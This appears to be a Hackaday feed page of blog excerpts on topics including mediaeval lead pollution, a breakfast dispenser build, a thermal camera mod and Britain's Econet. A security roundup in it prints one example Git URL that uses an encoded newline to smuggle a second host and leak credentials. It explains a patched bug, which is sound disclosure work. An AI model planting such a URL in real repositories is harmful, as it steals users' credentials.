How Can Heavy Metal Fly?

Scientists found a surprising amount of lead in a glacier. They were studying atmospheric pollution by sampling ice cores taken from Alpine glaciers. The surprising part is that they found more lead in strata from the late 13th century than they had in those deposited at the height of the Industrial Revolution. Surely mediaeval times were supposed to be more about knights in shining armour than dark satanic mills, what on earth was going on? Why was the lead industry in overdrive in an age when a wooden water wheel represented high technology?

The answer lies in the lead smelting methods used a thousand miles away from that glacier, and in the martyrdom of a mediaeval saint.

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Hackaday Podcast 063: Magnetic Gears, AI Green Screen, Plasma <3 Sharpie, And A Rubbery Drivetrain

Hackaday editors Mike Szczys and Elliot Williams sift for hacking gold from the past week. In this episode, we remember John Horton Conway’s Game of Life and its effect on novice programmers. We geek out adding screens to your car with an OBD-II hack, automating a Sharpie clicker as part of a plasma cutter, and 3D printing an incredible RC car that drives every wheel from a single motor. Plus we look at machine-learning for custom backgrounds in your video chats, take a gander at the coming generation of ePaper displays, and we get cultured about yeast.

Take a look at the links below if you want to follow along, and as always tell us what you think about this episode in the comments!

Take a look at the links below if you want to follow along, and as always, tell us what you think about this episode in the comments!

Direct download (60 MB or so.)

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Getting Your Morning Mix Exactly Right, Every Time

In historical times, before the pandemic, most people had to commute to work in the mornings, and breakfast often ended up being a bit rushed. [Elite Worm] is very serious about getting his breakfast mix exactly right, and o shave a bit of time off the prep, he built a 3D printed automatic ingredient dispenser for his breakfast bowl.

[Elite Worm] breakfast consists of four ingredients, that have either a powder or granular consistency. They are held in 3D printed hoppers, with a screw top for refilling and a servo-operated door with a funnel at the bottom. The hoppers need to be shaken to properly dispense the ingredients, so all four are mounted on a bracket that can slide up and down on linear bearings. The shaking is done by a brushed DC motor with a slider-crank mechanism, which moves bracket and hoppers up and down very vigorously. [Elite Worm] notes that the shaking is probably a bit too violent and can make the entire table shake if it isn’t sturdy enough, and reducing the motor RPM might be a good idea. Below the hopper system sits a movable weighing station with a load cell, a custom ATmega328P based control board and a Nextion touch screen display, which allows for various ingredient combinations to be saved. The load cell is used to keep track of the ingredient quantities by weight, as they are dispensed one at a time.

We really like the ingenuity of the build, but personally, we would have swapped out the hopper for something that’s moulded, since all the crevices in 3D printed parts is a perfect place for bacteria to grow and can be tricky to clean properly Continue reading “Getting Your Morning Mix Exactly Right, Every Time”

This Week In Security: Git, Patch Tuesday, Anti-Cheat, And Vulnerable Documentation

Git released an update on Tuesday, fixing an issue that could result in leaking credentials. The vulnerability was in how Git handles an HTTP URL containing a newline. Looking at the commits in 2.26.1, we can find an example of an attack:
url = "https://one.example.com?%0ahost=two.example.com/foo.git"

So doing a git pull against this repository will connect your git instance to an attacker’s server, but using the credentials from an arbitrary server. It seems like this could potentially be used to steal Github credentials, for instance. So go make sure you have an updated Git client.
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Dropping A Glider From 18,000 Feet

[Tarik and Kemal] have an objective in mind: to drop a home-made autonomous glider from a high-altitude balloon and safely return it to home. To motivate them, [Tarik] has decided not to cut his hair until they reach 18,000 feet. Given the ambition of their project, it isn’t surprising that his hair is getting rather long now.

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A Thermal Camera With A Vintage Twist

Nowadays we often value the superb design of vintage technology. It is, therefore, laudable when a broken piece of old electronics is given a new purpose. These types of builds are exactly [Martin Mander’s] cup of tea as he confirmed by turning a 1979 Apollo microwave monitor into a thermal camera (video embedded below).

Intrigued by its unique design, [Martin Mander] picked up the original microwave monitor at a secondhand sale, although the device was not exactly in mint condition. Supposedly this type of detector was used to monitor the exposure of personnel to microwave radiation in an industrial environment.

After removing all the guts, he replaced them with a Raspberry Pi Zero W, Adafruit thermal camera, 1.3″ TFT display, and a USB battery pack. It is especially nice that [Martin Mander] was able to mount all the components without relying on 3D prints but instead, he hand-carved some custom panels and brackets from waste plastic.

The software is based on Python and automatically uploads the captured images to an Adafruit.IO dashboard. With 8 x 8 pixels the resolution of the sensor is not great but by using bicubic interpolation he was able to convert it to a 32 x 32 image which was enough to take some interesting pictures of his cat and other household items.

It is also worthwhile to check out some of [Martin Manders] other retro-tech mods like his cassette Pi IoT scroller.

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Econet – Britain’s Early Educational Network

If you compare the early PC market for the US and the UK, you’ll notice one big difference. While many US schools had Apple computers, there were significant numbers of other computers in schools, as well. In the UK, pretty much every school that had a computer had an Acorn BBC Micro. [RetroBytes] takes us down memory lane, explaining how and why the schools went with Econet — an early network virtually unknown outside of the UK. You can see the video, which includes an interview with one of the Acorn engineers involved in Econet.

Nowadays, you don’t have to convince people of the value of a network, but back then it wasn’t a no brainer. The driver for most schools to adopt networking was to share a very expensive hard disk drive among computers. The network used RS-422, a common enough choice in Apple computers, spacecraft, and industrial control applications.

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